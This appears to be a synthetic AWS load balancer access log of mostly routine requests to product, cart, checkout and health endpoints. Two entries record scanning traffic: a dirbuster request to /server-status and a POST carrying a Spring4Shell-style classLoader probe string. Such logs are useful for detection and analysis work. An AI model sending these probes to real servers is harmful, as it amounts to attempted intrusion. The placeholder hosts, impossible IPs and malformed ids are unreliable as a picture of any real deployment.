"Root=1-6723df25-7d8aa55ab8df44508777f2bc" "prod-api-alb.example.com" "-" 9 2024-11-01T02:48:53.241261Z "forward" "-" "-" "10.0.159.249:443" "200" "-" "-" -http 2024-11-01T02:48:55.035944Z staging-alb 247.198.106.116:32501 134.232.228.31:8080 0.130865 0.209426 0.043232 301 301 665 2118 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df27-f490c27aaf494e6abe3de91f" "staging-alb.example.com" "-" 1 2024-11-01T02:48:55.035944Z "forward" "-" "-" "134.232.228.31:8080" "301" "-" "-" -https 2024-11-01T02:48:56.049943Z prod-web-alb 102.239.240.138:61155 10.0.241.100:443 0.000615 0.071241 0.037231 301 301 793 10599 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df28-1fef613b73e14994a9b2d96f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:48:56.049943Z "forward" "-" "-" "10.0.241.100:443" "301" "-" "-" -https 2024-11-01T02:48:56.317115Z prod-api-alb 228.76.34.247:52636 10.0.136.94:443 0.052060 0.418424 0.005175 404 404 721 11658 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df28-c420590cfbd84c95aec03635" "prod-api-alb.example.com" "-" 2 2024-11-01T02:48:56.317115Z "forward" "-" "-" "10.0.136.94:443" "404" "-" "-" -https 2024-11-01T02:48:57.638412Z prod-web-alb 131.176.198.29:43956 10.0.199.204:443 0.047223 0.206164 0.005324 200 200 920 4034 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df29-467cebd2834448dca6e641a5" "prod-web-alb.example.com" "-" 7 2024-11-01T02:48:57.638412Z "forward" "-" "-" "10.0.199.204:443" "200" "-" "-" -https 2024-11-01T02:48:59.295066Z prod-api-alb 180.64.79.104:22690 10.0.86.193:443 0.076121 0.218844 0.042592 200 200 717 10130 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df2b-e435530573bd453dacba2d6b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:48:59.295066Z "forward" "-" "-" "10.0.86.193:443" "200" "-" "-" -https 2024-11-01T02:49:00.519614Z prod-web-alb 219.129.58.162:63681 10.0.243.205:443 0.023822 0.194648 0.001169 301 301 436 7304 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df2c-05199433d09d481e9e784680" "prod-web-alb.example.com" "-" 5 2024-11-01T02:49:00.519614Z "forward" "-" "-" "10.0.243.205:443" "301" "-" "-" -https 2024-11-01T02:49:01.528069Z prod-api-alb 98.24.47.22:23398 10.0.47.228:443 0.000940 0.016528 0.043178 200 200 166 2107 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df2d-d466b4a86eb14c47801f7343" "prod-api-alb.example.com" "-" 2 2024-11-01T02:49:01.528069Z "forward" "-" "-" "10.0.47.228:443" "200" "-" "-" -https 2024-11-01T02:49:02.104078Z prod-api-alb 124.132.230.209:52207 10.0.64.211:443 0.062258 0.327237 0.025027 302 302 981 2337 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df2e-5c162684c6a841deb89c1373" "prod-api-alb.example.com" "-" 0 2024-11-01T02:49:02.104078Z "forward" "-" "-" "10.0.64.211:443" "302" "-" "-" -https 2024-11-01T02:49:02.445934Z prod-web-alb 95.231.186.84:38970 10.0.218.52:443 0.046028 0.310977 0.030140 404 404 749 892 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df2e-49d4dacccb6942a5ac38bbd6" "prod-web-alb.example.com" "-" 1 2024-11-01T02:49:02.445934Z "forward" "-" "-" "10.0.218.52:443" "404" "-" "-" -http 2024-11-01T02:49:03.165238Z staging-alb 172.157.180.246:51263 58.178.122.124:8080 0.005111 0.674018 0.030325 302 302 982 7298 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df2f-13c249a0e48c4cc29291bacc" "staging-alb.example.com" "-" 5 2024-11-01T02:49:03.165238Z "forward" "-" "-" "58.178.122.124:8080" "302" "-" "-" -https 2024-11-01T02:49:04.630293Z prod-api-alb 176.246.219.186:33510 10.0.52.111:443 0.099797 0.047330 0.097451 200 200 627 5175 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df30-ea5d27f3856d4315a6cdbcc2" "prod-api-alb.example.com" "-" 5 2024-11-01T02:49:04.630293Z "forward" "-" "-" "10.0.52.111:443" "200" "-" "-" -https 2024-11-01T02:49:05.709026Z prod-web-alb 59.194.47.235:51742 10.0.94.211:443 0.051808 0.095830 0.074689 200 200 947 8531 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df31-af89c8448cf44b8498f618bd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:05.709026Z "forward" "-" "-" "10.0.94.211:443" "200" "-" "-" -https 2024-11-01T02:49:06.339227Z prod-api-alb 130.187.241.44:29691 10.0.58.184:443 0.004870 0.172118 0.095633 302 302 692 5697 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df32-9fb2a13d0e23467084772aeb" "prod-api-alb.example.com" "-" 8 2024-11-01T02:49:06.339227Z "forward" "-" "-" "10.0.58.184:443" "302" "-" "-" -https 2024-11-01T02:49:07.573265Z prod-web-alb 229.249.42.250:45557 10.0.218.175:443 0.026802 0.205035 0.041911 301 301 8 11863 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df33-66d33a07321442f9aacdb3bd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:07.573265Z "forward" "-" "-" "10.0.218.175:443" "301" "-" "-" -https 2024-11-01T02:49:08.066388Z prod-api-alb 142.65.88.11:37218 10.0.137.240:443 0.049107 0.391032 0.052750 302 302 308 9704 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df34-5ba175b869f14ea8873e6a19" "prod-api-alb.example.com" "-" 6 2024-11-01T02:49:08.066388Z "forward" "-" "-" "10.0.137.240:443" "302" "-" "-" -https 2024-11-01T02:49:08.485299Z prod-web-alb 198.174.142.138:14239 10.0.227.94:443 0.083495 0.001694 0.023492 302 302 687 9186 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df34-ceb2bf206fcd421a8e29f43e" "prod-web-alb.example.com" "-" 5 2024-11-01T02:49:08.485299Z "forward" "-" "-" "10.0.227.94:443" "302" "-" "-" -https 2024-11-01T02:49:09.382618Z prod-web-alb 243.98.170.60:35273 10.0.123.222:443 0.092291 0.101855 0.013980 200 200 1 14314 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df35-2685f04f8fa047b0802a4681" "prod-web-alb.example.com" "-" 5 2024-11-01T02:49:09.382618Z "forward" "-" "-" "10.0.123.222:443" "200" "-" "-" -https 2024-11-01T02:49:10.222594Z prod-web-alb 152.169.15.91:16343 10.0.208.102:443 0.076543 0.224043 0.057483 404 404 411 13613 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df36-078774a3fac24cf180579d60" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:10.222594Z "forward" "-" "-" "10.0.208.102:443" "404" "-" "-" -http 2024-11-01T02:49:11.446772Z staging-alb 83.70.86.210:42509 8.45.169.172:8080 0.024966 0.693943 0.098772 200 200 525 2247 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df37-cd4fa56bb8ca42d787c5d86c" "staging-alb.example.com" "-" 1 2024-11-01T02:49:11.446772Z "forward" "-" "-" "8.45.169.172:8080" "200" "-" "-" -http 2024-11-01T02:49:12.327339Z staging-alb 223.215.221.212:61447 107.197.25.119:8080 0.030430 0.419690 0.081202 200 200 196 4110 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723df38-1cb2ab1170bf46c9806dd369" "staging-alb.example.com" "-" 2 2024-11-01T02:49:12.327339Z "forward" "-" "-" "107.197.25.119:8080" "200" "-" "-" -http 2024-11-01T02:49:14.251918Z staging-alb 10.68.10.98:30336 8.181.153.12:8080 0.100095 0.485317 0.028652 200 200 617 1352 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df3a-ee33b88b0ba3491e9431b85b" "staging-alb.example.com" "-" 8 2024-11-01T02:49:14.251918Z "forward" "-" "-" "8.181.153.12:8080" "200" "-" "-" -https 2024-11-01T02:49:15.412222Z prod-web-alb 104.182.221.18:46020 10.0.252.246:443 0.002027 0.055042 0.005939 404 404 113 914 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df3b-d43a2d99462448e280b0311e" "prod-web-alb.example.com" "-" 9 2024-11-01T02:49:15.412222Z "forward" "-" "-" "10.0.252.246:443" "404" "-" "-" -https 2024-11-01T02:49:16.189777Z prod-web-alb 31.247.55.201:22188 10.0.131.243:443 0.028504 0.075851 0.013643 200 200 716 1459 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df3c-7e761b9d58a0448f91cf231e" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:16.189777Z "forward" "-" "-" "10.0.131.243:443" "200" "-" "-" -https 2024-11-01T02:49:17.387316Z prod-api-alb 7.208.146.20:54138 10.0.117.240:443 0.068681 0.078998 0.081955 200 200 665 1851 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df3d-0939f6de00c540208266c0d7" "prod-api-alb.example.com" "-" 9 2024-11-01T02:49:17.387316Z "forward" "-" "-" "10.0.117.240:443" "200" "-" "-" -https 2024-11-01T02:49:19.157445Z prod-web-alb 84.246.69.72:57964 10.0.41.191:443 0.064404 0.327858 0.068675 301 301 437 10981 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df3f-e629d55a56344f4187dfc04b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:49:19.157445Z "forward" "-" "-" "10.0.41.191:443" "301" "-" "-" -https 2024-11-01T02:49:21.070948Z prod-web-alb 76.80.111.176:40893 10.0.138.254:443 0.046882 0.002800 0.037815 301 301 589 13254 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df41-88334a5cdfcd4b1e995d66bd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:49:21.070948Z "forward" "-" "-" "10.0.138.254:443" "301" "-" "-" -https 2024-11-01T02:49:22.945253Z prod-api-alb 81.127.84.246:32259 10.0.224.239:443 0.020178 0.449960 0.022279 301 301 964 12064 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df42-85629e03a31e40e38c97c2d4" "prod-api-alb.example.com" "-" 10 2024-11-01T02:49:22.945253Z "forward" "-" "-" "10.0.224.239:443" "301" "-" "-" -https 2024-11-01T02:49:24.173833Z prod-web-alb 122.83.252.217:15564 10.0.145.66:443 0.061318 0.169980 0.058567 200 200 1000 7876 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df44-d27437b863214765aaaa301f" "prod-web-alb.example.com" "-" 7 2024-11-01T02:49:24.173833Z "forward" "-" "-" "10.0.145.66:443" "200" "-" "-" -https 2024-11-01T02:49:25.506283Z prod-web-alb 144.241.250.56:63741 10.0.201.251:443 0.084515 0.380289 0.018751 200 200 715 13242 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df45-025fd2e6974f4ba7985d6b79" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:25.506283Z "forward" "-" "-" "10.0.201.251:443" "200" "-" "-" -https 2024-11-01T02:49:26.701518Z prod-web-alb 193.27.228.126:25424 10.0.189.14:443 0.043197 0.186280 0.006344 500 500 601 1482 "POST /server-status HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df46-baf2ab80f47e415492680202" "-" "-" 2 2024-11-01T02:49:26.701518Z "forward" "-" "-" "10.0.189.14:443" "500" "-" "-" -https 2024-11-01T02:49:28.010300Z staging-alb 228.14.73.28:22302 5.165.134.166:8080 0.018987 0.424000 0.003251 200 200 894 6511 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df48-33a2507dcf4c479c8e01911c" "staging-alb.example.com" "-" 0 2024-11-01T02:49:28.010300Z "forward" "-" "-" "5.165.134.166:8080" "200" "-" "-" -https 2024-11-01T02:49:29.797202Z staging-alb 114.78.75.103:62516 108.20.22.240:443 0.057237 0.410928 0.029590 200 200 754 7323 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df49-a3d758d8cbff4770acdd0507" "staging-alb.example.com" "-" 2 2024-11-01T02:49:29.797202Z "forward" "-" "-" "108.20.22.240:443" "200" "-" "-" -https 2024-11-01T02:49:31.208211Z prod-api-alb 245.237.11.76:34405 10.0.179.59:443 0.025098 0.240094 0.098620 200 200 884 10606 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df4b-e36689eb0f0d47bc9472b965" "prod-api-alb.example.com" "-" 7 2024-11-01T02:49:31.208211Z "forward" "-" "-" "10.0.179.59:443" "200" "-" "-" -https 2024-11-01T02:49:31.890652Z prod-api-alb 145.244.226.63:25286 10.0.126.142:443 0.081259 0.037183 0.067830 200 200 137 6287 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df4b-1bd090fedb8f47afa682db18" "prod-api-alb.example.com" "-" 3 2024-11-01T02:49:31.890652Z "forward" "-" "-" "10.0.126.142:443" "200" "-" "-" -https 2024-11-01T02:49:33.368785Z prod-api-alb 68.200.57.216:52153 10.0.38.46:443 0.055875 0.181275 0.087594 200 200 205 14345 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df4d-ecdb9c06e2534853b942dcb3" "prod-api-alb.example.com" "-" 7 2024-11-01T02:49:33.368785Z "forward" "-" "-" "10.0.38.46:443" "200" "-" "-" -http 2024-11-01T02:49:35.164590Z staging-alb 49.39.116.144:64693 230.255.12.156:80 0.080923 0.615627 0.079196 404 404 237 2863 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df4f-b1b271c7ffe9477e9ab2b8a8" "staging-alb.example.com" "-" 5 2024-11-01T02:49:35.164590Z "forward" "-" "-" "230.255.12.156:80" "404" "-" "-" -https 2024-11-01T02:49:35.670131Z prod-web-alb 30.78.176.140:21251 10.0.51.65:443 0.014004 0.328402 0.033896 404 404 214 8724 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df4f-6cde04b789d04fe299151659" "prod-web-alb.example.com" "-" 10 2024-11-01T02:49:35.670131Z "forward" "-" "-" "10.0.51.65:443" "404" "-" "-" -https 2024-11-01T02:49:36.382337Z prod-api-alb 193.27.228.71:28156 10.0.246.9:443 0.003872 0.208699 0.052596 403 403 203 6432 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723df50-fa69f64a13bd4a8b863f9923" "-" "-" 6 2024-11-01T02:49:36.382337Z "forward" "-" "-" "10.0.246.9:443" "403" "-" "-" -https 2024-11-01T02:49:36.536917Z prod-api-alb 121.11.52.166:43182 10.0.159.29:443 0.020246 0.443003 0.090389 301 301 324 7224 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df50-bf2a2df35f714e5c91e19f74" "-" "-" 3 2024-11-01T02:49:36.536917Z "forward" "-" "-" "10.0.159.29:443" "301" "-" "-" -https 2024-11-01T02:49:37.057276Z staging-alb 155.68.142.142:28700 111.211.1.145:443 0.105484 0.571703 0.127522 200 200 666 2851 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df51-300c2ace74c54a4b9a1832a3" "staging-alb.example.com" "-" 4 2024-11-01T02:49:37.057276Z "forward" "-" "-" "111.211.1.145:443" "200" "-" "-" -https 2024-11-01T02:49:38.996310Z staging-alb 190.138.171.160:42279 84.92.149.225:443 0.094415 0.261588 0.056836 200 200 463 894 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df52-d3bfda593b724aa28c766092" "staging-alb.example.com" "-" 0 2024-11-01T02:49:38.996310Z "forward" "-" "-" "84.92.149.225:443" "200" "-" "-" -https 2024-11-01T02:49:40.961226Z prod-web-alb 158.215.236.99:45075 10.0.243.106:443 0.075464 0.350704 0.097674 200 200 986 5640 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df54-33cf8523e70a4400bd141fda" "prod-web-alb.example.com" "-" 9 2024-11-01T02:49:40.961226Z "forward" "-" "-" "10.0.243.106:443" "200" "-" "-" -https 2024-11-01T02:49:42.581805Z prod-web-alb 31.250.99.224:52893 10.0.180.99:443 0.057856 0.036698 0.024736 200 200 901 9110 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723df56-52aef016238b42a684609810" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:42.581805Z "forward" "-" "-" "10.0.180.99:443" "200" "-" "-" -https 2024-11-01T02:49:43.980960Z prod-web-alb 182.26.8.209:28362 10.0.145.106:443 0.071679 0.044892 0.005361 200 200 210 5133 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df57-5cb3749288924c54a95e9450" "prod-web-alb.example.com" "-" 4 2024-11-01T02:49:43.980960Z "forward" "-" "-" "10.0.145.106:443" "200" "-" "-" -https 2024-11-01T02:49:45.860704Z prod-api-alb 209.98.73.222:45284 10.0.208.160:443 0.073268 0.099346 0.007374 200 200 206 6913 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723df59-e19d6c0fbdb0489a9845e992" "prod-api-alb.example.com" "-" 6 2024-11-01T02:49:45.860704Z "forward" "-" "-" "10.0.208.160:443" "200" "-" "-" -https 2024-11-01T02:49:46.881011Z prod-web-alb 105.32.97.68:17721 10.0.9.250:443 0.003124 0.206353 0.054858 200 200 469 9823 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723df5a-b5ef45f13a76489eb5edd28f" "prod-web-alb.example.com" "-" 3 2024-11-01T02:49:46.881011Z "forward" "-" "-" "10.0.9.250:443" "200" "-" "-" -http 2024-11-01T02:49:48.154753Z staging-alb 188.58.200.68:33045 176.44.249.206:443 0.097325 0.265953 0.057391 200 200 130 9800 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723df5c-3b64898de49842a7aba18506" "staging-alb.example.com" "-" 4 2024-11-01T02:49:48.154753Z "forward" "-" "-" "176.44.249.206:443" "200" "-" "-" -http 2024-11-01T02:49:48.643079Z staging-alb 2.23.44.225:17668 166.112.61.155:443 0.078727 0.598946 0.070257 200 200 692 9760 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 